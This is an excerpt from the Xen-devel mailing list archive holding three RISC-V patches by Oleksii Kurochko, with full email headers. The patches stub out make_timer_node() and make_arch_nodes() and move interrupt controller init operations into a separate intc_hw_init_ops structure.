X-Received: by 2002:a05:600c:8486:b0:493:df1d:7488 with SMTP id 5b1f17b1804b1-493df1d7cafmr12020075e9.16.1783353513724;
        Mon, 06 Jul 2026 08:58:33 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 11/26] xen/riscv: implement make_timer_node()
Date: Mon,  6 Jul 2026 17:57:52 +0200
Message-ID: <d56303e075259f6d529ee030f9688c30c8aed94c.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1783353514-77D241CC-0A1C3198/10/73395122804
X-purgate-type: spam
X-purgate-size: 1649

Generally, in DT for RISC-V there is a document which describes a timer
node (riscv,timer.yaml or sifive,clint.yaml), but the Linux timer driver
is declared with TIMER_OF_DECLARE(riscv_timer, "riscv", ...).
It matches the CPU node (compatible "riscv"), not the timer node itself.
It then calls of_find_compatible_node(NULL, NULL, "riscv,timer") only to
read the optional riscv,timer-cannot-wake-cpu property.

Since Xen does not care about that property for now, make_timer_node() is
implemented to return 0, as no timer node needs to be created for RISC-V
guests.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v3-5:
 - Nothing changed. Only rebase.
---
Changes in v2:
 - Acked-by: Jan Beulich <jbeulich@suse.com>
 - Update the commit message.
---
---
 xen/arch/riscv/domain-build.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/xen/arch/riscv/domain-build.c b/xen/arch/riscv/domain-build.c
index 33cd1ea80f39..089e5ce0e0a4 100644
--- a/xen/arch/riscv/domain-build.c
+++ b/xen/arch/riscv/domain-build.c
@@ -3,6 +3,7 @@
 #include <xen/fdt-domain-build.h>
 #include <xen/fdt-kernel.h>
 #include <xen/init.h>
+#include <xen/fdt-kernel.h>
 #include <xen/libfdt/libfdt.h>
 #include <xen/sched.h>
 #include <xen/xvmalloc.h>
@@ -173,3 +174,10 @@ int __init make_cpus_node(const struct domain *d, struct kernel_info *kinfo)
     xvfree(isa_str);
     return res;
 }
+
+int __init make_timer_node(const struct kernel_info *kinfo)
+{
+    /* There is no need for timer node for RISC-V. */
+
+    return 0;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355504.1610370 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliQ-0001Hw-Q3; Mon, 06 Jul 2026 15:58:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355504.1610370; Mon, 06 Jul 2026 15:58:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliQ-0001H0-II; Mon, 06 Jul 2026 15:58:38 +0000
Received: by outflank-mailman (input) for mailman id 1355504;
 Mon, 06 Jul 2026 15:58:36 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliO-0000ra-JW
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliN-00AcZM-TF
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:35 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd081-5cb7-0a2a0a5109dd-0a2a450a953e-32
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:35 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0ab-e40e-0a2a450a0019-d155802be9ef-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:35 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-493c5220cb7so24616975e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:35 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.33
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353515; x=1783958315; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=4zPPT5yH4g3srmqRgr/MmJI9wmQx9NN5+pUlXZUXu18=;
        b=Al+T4YoEWiQ/7CIdwwh3JcAjYPAxbsYvOrxOZmOwOdsWbqoMRPtz2eZDn3fSnpDT0v
         dXLzZNkhrXG2ko1leutgpH8YQWJuvC1Yj8MeV0NcLBO0T0mfhelF8XyMdy3sN2Z4/vk6
         bSGeWGQK580v351KREkD2cWI14Z8T9qU3scueoh5clzIaXG3cUGi+AgoNmh8gergCzUL
         9SBUh592BtGwM04Nd6LNhcT6Hj3jlbJdxC+sKff8dlX8g5c9ZoqJY69mbm/dGR0C/l11
         qEL90idaVBxo+yLLFWy4l8P8kVvh0lxzbtEWGKwrMq3epVZbeBZb0x6wAjXKrCbZ+V0g
         4fQQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353515; x=1783958315;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=4zPPT5yH4g3srmqRgr/MmJI9wmQx9NN5+pUlXZUXu18=;
        b=kt6lctsszAhjl/3GSB4iPtN/PQ+NNTnSeMDYAVMNiM+HyVE5SJ7r/ingM1dkstSpih
         J2BkGyySskp1LC2al49asnEfUDWLKwu9MPXri9tWe9wrZdKBbnDR6HhrmUbulTLd/IM6
         SBPF7A8KDjLpWzLoq3uRfh3ww1AQgF46tqqk0qPEk38qVbfVHQbhFUharfKOXFxPOIJb
         v7mjnoLIipjqPubPOwGcULtNwjiZouGlcSsbs4E30Ib2z0qCxqPaUia0crVIMmVNOl9m
         p7dWtv32flN7vkdaiG+0EypTtdRaj0gnFEmPhohjUdqepWyUjcOPB4fj1VWrLwCIIvhN
         A4cA==
X-Gm-Message-State: AOJu0YzTj1pIqsEl68rCSIZjeItUSqS3WOEvtvlKHplHvNYMAyYQ9jYG
	LY/Xsng4Zc1mcal08EMJsOdIkpBn8YANyDFajOGfqBYBYYuqIHk7aQVn2cqSiA==
X-Gm-Gg: AfdE7cmYjEWsiQIWXoXSXV7Ckjx7z9IVVMyuxO+oMaQfM9lto/gXTlwsdSk006ivtTh
	qg2+D8Kt5tOXSpTRxSQ9/CsoMjN0uPfdoe6hMvrFviq9a4XvbAedrnoEukkprAgF+khiAGlV2eL
	5N7Col0F6z42QZyxcfG11qlezLsz+rYaz5nX44nAF1r3MUKzvjY6enLwbiqLglCyCmhIYCg6SxI
	pPXe1+hU1cpkXTySXokHU1rwZqbO6S4xRrFk4afZmU6XCpRkI0GQkLSr0HLJlnRqF3Xcgw5r0+F
	6x+UQ3yQ8wxgszqvF1mtfdDCqddhmpm39lctC08AMl5X+OQSpM2eJVDgCApcCcOoT+ng+Yk47nD
	1sNniPrFT8S761FM5Osp23Uxy4tMB6xNOKBTrLivf7TDxi84lkt9c89jace4K9Yf+b0H8rTIyVG
	jsXBqCTUl8uH9NoMVpgUAiYCAl66JVAgFiy3TSWmz/mzASmiAVm+0H1Ykuyg==
X-Received: by 2002:a05:600c:818f:b0:493:b750:bd20 with SMTP id 5b1f17b1804b1-493df041d26mr14237625e9.15.1783353515285;
        Mon, 06 Jul 2026 08:58:35 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 12/26] xen/riscv: implement make_arch_nodes()
Date: Mon,  6 Jul 2026 17:57:53 +0200
Message-ID: <982cafc2caaa2977d0a51dece7c6e92b9001a745.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1783353515-D4B2CDDE-E068D889/10/73395122804
X-purgate-type: spam
X-purgate-size: 1386

No RISC-V-specific nodes need to be created at the moment,
so make_arch_nodes() is implemented to simply return 0.

It is placed in dom0less-build.c as make_arch_nodes() is
only used in the dom0less code path. In the future, it will
be extended to create an emulated UART node.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Drop "Add" before Acked-by above the footer.
---
Change in v4:
 - Add lost Acked-by.
---
Changes in v3:
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v2:
 - Update the commit message.
---
---
 xen/arch/riscv/dom0less-build.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/xen/arch/riscv/dom0less-build.c b/xen/arch/riscv/dom0less-build.c
index a683972e9235..4cc00012aa8d 100644
--- a/xen/arch/riscv/dom0less-build.c
+++ b/xen/arch/riscv/dom0less-build.c
@@ -2,10 +2,18 @@
 
 #include <xen/bootfdt.h>
 #include <xen/device_tree.h>
+#include <xen/fdt-kernel.h>
 #include <xen/init.h>
 
 #include <asm/p2m.h>
 
+int __init make_arch_nodes(struct kernel_info *kinfo)
+{
+    /* No RISC-V specific nodes need to be made, at the moment. */
+
+    return 0;
+}
+
 int __init arch_parse_dom0less_node(struct dt_device_node *node,
                                     struct boot_domain *bd)
 {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355508.1610375 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliR-0001Se-Rn; Mon, 06 Jul 2026 15:58:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355508.1610375; Mon, 06 Jul 2026 15:58:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliR-0001Ri-Dw; Mon, 06 Jul 2026 15:58:39 +0000
Received: by outflank-mailman (input) for mailman id 1355508;
 Mon, 06 Jul 2026 15:58:38 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliP-000153-Qv
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliP-009ym5-7d
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:37 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd091-e002-0a2a0a5209dd-0a2a4504c49a-32
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:37 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0ad-a01d-0a2a45040019-d155802ac59b-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:37 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493c7902f47so19401775e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:37 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.35
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353517; x=1783958317; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=kj+Ys9sE4vz8rN4cl1XewN5jOlLycBUmGkH75Llh0pg=;
        b=HHO5pSUDR8XRC3uNaXFFgnpkOp5unJL2/AUlFMiJkNs7QHQjZIk+dXMF74XvufTNQJ
         vMTgABIE13epbo/xgsyPypJidOYGY2fqk+3WFPdclHDdMxZGyWd885+KmC85j91x3Ljy
         hqVcIDkWFF0TVuz7PoMmxO+RIw38Q5t587DakIU5rcPkXoRIwFEF3WIUgHmcoOK9Y4K5
         g0xggvau4v7X0eeQSxj9O8Xy6F1yfgOzr7NTJWWpnF1s8tyjOYsSA602vVEG/LY1mrJf
         6UTOjV1iTyRstoEDfvqbo/Xjm1LqSX00SnSXfkKa7NeCqc0oRYIM0xWG3BzeoSG25yW1
         HsUw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353517; x=1783958317;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=kj+Ys9sE4vz8rN4cl1XewN5jOlLycBUmGkH75Llh0pg=;
        b=kAxchOgmM0C88qKRaNnttzGPMOQrtfXrVISZarMujvtBEBvMLv0Y18btXNUvY08Chs
         CFE/9xYheMUuJiWdPOfaZobmA07Ne0DkrBAlUKgzENn84Mt+Uat5138FUY6mul2Xyu5a
         TnrBGIlllPuz3in7F2fKyJk7esZv7Lwhl9fpbR9AgmQDJXKRWqY4eHzLPGEQLwLYuv9Z
         jgGgTBO7Xg18AlAMOvm050JeNgAmnMRD7Hg4rtQf4PTsD+8ZgBWlfLQW7fiBRlJHgFfi
         GeWDvv7GvHQLUUBxprBMqasixn17OD6OPmz8DONoWOkPM4m2zLBw6Er70D0tPFpdnqlL
         xb+g==
X-Gm-Message-State: AOJu0YzNwTZeNHrvV6rEb8LC+tUr8nXg8GPJZf8R4/hbxUgHwsD0JAP2
	N6UmG689kqn/QFIzMESjQW1zRP6rkl5G2VPNP2Zu/RSzC+ZSv8rZdy9z+rrmUw==
X-Gm-Gg: AfdE7ckad8bajmWOWbJuWrFm4yuxucsiAM1FVZ9LDk5trsHErHoEvKgl4IbuUklXYeo
	NWpGHrj0e7czBhbOtzQV+TAzJ527RFoEKPG09ixqdSEPK+rkVEQENCbtyRZugS0G01MnxSq+L+U
	zITPGpxoviQnmmzRNfjKm8c4BMrXz5ra5oQ136g+Fa/MpV64yQBakyHamiglGC01WadKb0WQcRx
	R/UbJLhiDnBe+k5ddIAyAtCqT6xWAxM1luhBBMIrhtYi2I9QEomK4wo+udIgcbdvmMkzMN6mOIe
	3aFTU0fK0ejVf90CnWPZEPAY3X4r0jdTY8/B2NSznXea3wZA0qW1v6C+cKMBnOeFPt0FcyOCijL
	nXIqwgg59HyF3nRStKDtuiguLX8cLM6N040c2YL/OMpH3dj+5ii6tIdgtK7LJiBWllMtNLn4BAU
	y/81WItINHuiOFeUWiMmrBSsg5atbkzYqJ+gf0u7if7YxMgg1JLXgQlTwW4Q==
X-Received: by 2002:a05:600c:19d1:b0:493:cc25:85c4 with SMTP id 5b1f17b1804b1-493df1c98fbmr9609605e9.8.1783353516591;
        Mon, 06 Jul 2026 08:58:36 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 13/26] xen/riscv: introduce init interrupt controller operations
Date: Mon,  6 Jul 2026 17:57:54 +0200
Message-ID: <bd47e6cec1c4fa4f3419f5258ecd03d18386c45e.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1783353517-AEF2D1CC-0B056E72/10/73395122804
X-purgate-type: spam
X-purgate-size: 4030

Introduce intc_hw_init_ops structure to avoid risky mix of init
function and non-init function.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - Nothin changed. Only rebase.
---
Changes in v4:
 - Use __initconstrel instead of __initconst for aplic_init_ops as both
   initialized fields incur a relocation.
 - Add Acked-by: ... .
---
Changes in v3:
 - Use __initconst instead of __initdata for const intc_hw_init_ops.
 - Embed const struct intc_hw_operations *ops into intc_hw_init_ops so
   register_intc_ops() takes a single pointer argument.
---
Changes in v2:
 - New patch.
---
---
 xen/arch/riscv/aplic.c            |  8 ++++++--
 xen/arch/riscv/include/asm/intc.h | 10 +++++++---
 xen/arch/riscv/intc.c             | 11 ++++++++---
 3 files changed, 21 insertions(+), 8 deletions(-)

diff --git a/xen/arch/riscv/aplic.c b/xen/arch/riscv/aplic.c
index 6a1255c5f403..126d56fb7ea8 100644
--- a/xen/arch/riscv/aplic.c
+++ b/xen/arch/riscv/aplic.c
@@ -306,12 +306,16 @@ static const hw_irq_controller aplic_xen_irq_type = {
 
 static const struct intc_hw_operations aplic_ops = {
     .info                = &aplic_info,
-    .init                = aplic_init,
     .host_irq_type       = &aplic_xen_irq_type,
     .handle_interrupt    = aplic_handle_interrupt,
     .set_irq_type        = aplic_set_irq_type,
 };
 
+static const struct intc_hw_init_ops __initconstrel aplic_init_ops = {
+    .ops                 = &aplic_ops,
+    .init                = aplic_init,
+};
+
 static int cf_check aplic_irq_xlate(const uint32_t *intspec,
                                     unsigned int intsize,
                                     unsigned int *out_hwirq,
@@ -347,7 +351,7 @@ static int __init aplic_preinit(struct dt_device_node *node, const void *dat)
 
     dt_irq_xlate = aplic_irq_xlate;
 
-    register_intc_ops(&aplic_ops);
+    register_intc_ops(&aplic_init_ops);
 
     /* Enable supervisor external interrupt */
     csr_set(CSR_SIE, BIT(IRQ_S_EXT, UL));
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index 675f703ec97f..d7b34fc15ad1 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -28,8 +28,6 @@ struct intc_info {
 struct intc_hw_operations {
     /* Hold intc hw information */
     const struct intc_info *info;
-    /* Initialize the intc and the boot CPU */
-    int (*init)(void);
 
     /* hw_irq_controller to enable/disable/eoi host irq */
     const struct hw_interrupt_type *host_irq_type;
@@ -43,9 +41,15 @@ struct intc_hw_operations {
     void (*handle_interrupt)(struct cpu_user_regs *regs);
 };
 
+struct intc_hw_init_ops {
+    const struct intc_hw_operations *ops;
+    /* Initialize the intc and the boot CPU */
+    int (*init)(void);
+};
+
 void intc_preinit(void);
 
-void register_intc_ops(const struct intc_hw_operations *ops);
+void register_intc_ops(const struct intc_hw_init_ops *init_ops);
 
 void intc_init(void);
 
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index ea317aea5ad8..3600d23bdb5b 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -12,9 +12,12 @@
 
 static const struct intc_hw_operations *__ro_after_init intc_hw_ops;
 
-void __init register_intc_ops(const struct intc_hw_operations *ops)
+static const struct intc_hw_init_ops *__initdata intc_hw_init_ops;
+
+void __init register_intc_ops(const struct intc_hw_init_ops *init_ops)
 {
-    intc_hw_ops = ops;
+    intc_hw_ops = init_ops->ops;
+    intc_hw_init_ops = init_ops;
 }
 
 void __init intc_preinit(void)
@@ -27,7 +30,9 @@ void __init intc_preinit(void)
 
 void __init intc_init(void)
 {
-    if ( intc_hw_ops->init() )
+    ASSERT(intc_hw_init_ops && intc_hw_init_ops->init);
+
+    if ( intc_hw_init_ops->init() )
         panic("Failed to initialize the interrupt controller drivers\n");
 }
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355511.1610383 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliT-0001mN-FC; Mon, 06 Jul 2026 15:58:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355511.1610383; Mon, 06 Jul 2026 15:58:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliS-0001kD-VJ; Mon, 06 Jul 2026 15:58:40 +0000
Received: by outflank-mailman (input) for mailman id 1355511;
 Mon, 06 Jul 2026 15:58:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliR-0001Kf-50
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliQ-003COz-IH
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:38 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0ae-2eae-0a2a0a5409dd-0a2a4501d5ae-0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:38 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0ae-400f-0a2a45010019-d1558031ace5-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:38 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493b6f1b14bso12910525e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:38 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.36
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353518; x=1783958318; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=A/ZtxrvuTd4UkEQ4i2TfmlJT/OYOaHL0n4xPwr38eXk=;
        b=O7xUXLmdEFb2iG0NZzUNX/7tcnd9rBHg3OfF3uS2ah1HiMMUZJk5adcWywRlYQRxpl
         /YNcEhj/+U3cd6LpLt4GOfA7NpHq1HHVrtRTJYZI7GEDcnExh3G8eQ6hOfy99x1FiBGT
         Gq+0XVG4u2DBYiOxCcmb0Qk3RrZVjXJJugMfrlhD4lRGYmyitSullRh9enY38pX3xPXf
         IMs8+qLA5cYauqpjub4q6ieVaUy7qCApwC0R9faHEaG1M5tktCZ1sAHLq/0BqgtfA+MB
         CJueG2a2XSDiPC/j3/WxJqIr+BkBBqCLIttSOVb0y26mkNyjvaKNCGNLeZVpgxEGSBbf
         Z8jw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353518; x=1783958318;
